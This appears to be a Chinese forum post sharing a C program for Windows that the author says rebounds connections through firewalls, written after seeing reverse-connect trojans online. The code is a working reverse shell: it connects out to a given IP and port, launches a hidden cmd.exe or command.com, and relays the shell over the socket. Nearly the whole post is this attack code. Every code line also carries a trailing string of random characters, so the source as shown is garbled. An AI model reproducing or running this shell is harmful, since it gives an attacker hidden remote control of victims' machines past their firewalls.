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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 |"CJ  
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/* ============================== PyC;f8n'(  
Rebound port in Windows NT ;48P vw>g}  
By wind,2006/7 @[d#mz  
===============================*/ M8^.19q;  
#include b&=]S(  
#include 7.Ml9{M/i  
<`c25ih.4  
#pragma comment(lib,"wsock32.lib") v9E+(4I9_  
&<gUFcw7Ui  
void OutputShell(); 7szls71/=  
SOCKET sClient; j`2B}@2  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; MV0<^/p|  
4ef*9|^x#  
void main(int argc,char **argv) _YH<YOrMh  
{ #0P!xZ'|{  
WSADATA stWsaData; ;JOD!|  
int nRet; "H5&3sF2  
SOCKADDR_IN stSaiClient,stSaiServer; a3O nW\N  
fDU+3b  
if(argc != 3) cP*c(k~N  
{  : cFF  
printf("Useage:\n\rRebound DestIP DestPort\n"); @+?+6sS  
return; qs!>tw  
} <K.Bq]  
I:F'S#  
WSAStartup(MAKEWORD(2,2),&stWsaData); EvwbhvA(  
0=OD?48<  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); E x_L!9>!  
4id3P{aU  
stSaiClient.sin_family = AF_INET; i^je.,Bi  
stSaiClient.sin_port = htons(0); 'rS'B.D  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); WYSck&9  
T?H\&2CLT  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ZJ^s}  
{ 0SJ{@*  
printf("Bind Socket Failed!\n"); 7'_nc!ME  
return; Z,0O/RFJ.q  
} /K_ i8!y  
:~t<L%tYF  
stSaiServer.sin_family = AF_INET; qPsyqn?Y|  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); d4d\0[  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); &bB6}H(  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 7}<Sg  
{ M$,Jg5Dc  
printf("Connect Error!"); davvI$TA  
return;  Nm jzDN  
} ;xSRwSNDi(  
OutputShell(); >4Iv[ D1  
} N\_( w:q  
"3@KRb4f  
void OutputShell() 9n_ eCb)H  
{ XK1fHfCEa  
char szBuff[1024]; Tv`_n2J`2  
SECURITY_ATTRIBUTES stSecurityAttributes; /r-8T>m  
OSVERSIONINFO stOsversionInfo; +jcdf}  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 4w@v#H@  
STARTUPINFO stStartupInfo; N%O[  
char *szShell; a|UqeNI{  
PROCESS_INFORMATION stProcessInformation; r k@UsHy  
unsigned long lBytesRead; -dl}_   
0[lS(K  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ?^U c=  
BApa^j\?  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); `Gf{z%/  
stSecurityAttributes.lpSecurityDescriptor = 0; SLSF <$  
stSecurityAttributes.bInheritHandle = TRUE; GL/  KB  
/a%*u6z@  
9QX4R<"wUg  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); l#Yx TY  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 7k>zuzRyF  
Q5g,7ac8L  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); bpGzTU  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; HP;|'b  
stStartupInfo.wShowWindow = SW_HIDE; Wt(Kd5k0'2  
stStartupInfo.hStdInput = hReadPipe; ?;Un#6b  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; =Qyqfy*@D?  
6mwvI4)  
GetVersionEx(&stOsversionInfo); *h2`^Z  
hPcS, p{%  
switch(stOsversionInfo.dwPlatformId) 1c'79YU  
{ 5KK{%6#f\  
case 1: "rVU4F)  
szShell = "command.com"; T 4eWbNSs  
break; THJ 3-Ug  
default: ~fBex_.o*  
szShell = "cmd.exe"; l7ZB3'  
break; Ex 6o=D2  
} @2u#93Y  
D{>\-]\  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); N50fL  
E$w#+.QP  
send(sClient,szMsg,77,0); z=B< `}@3  
while(1) 3i6h"Wu`n  
{ \OP9_J(*  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); _y>}#6B  
if(lBytesRead) 'v\j.j/i  
{ W;.{]x.0  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); .`Sw,XL5  
send(sClient,szBuff,lBytesRead,0); :xM}gPj"  
} YhS{$ Z  
else mzu<C)9d,  
{ z<t>hzl 7  
lBytesRead=recv(sClient,szBuff,1024,0); <E SvvTf  
if(lBytesRead<=0) break; U3/8A:$y  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 0F1u W>D1  
} q4) Ey  
} GJvp{U}y9I  
%w$ mSG  
return; ?;_H{/)m  
}
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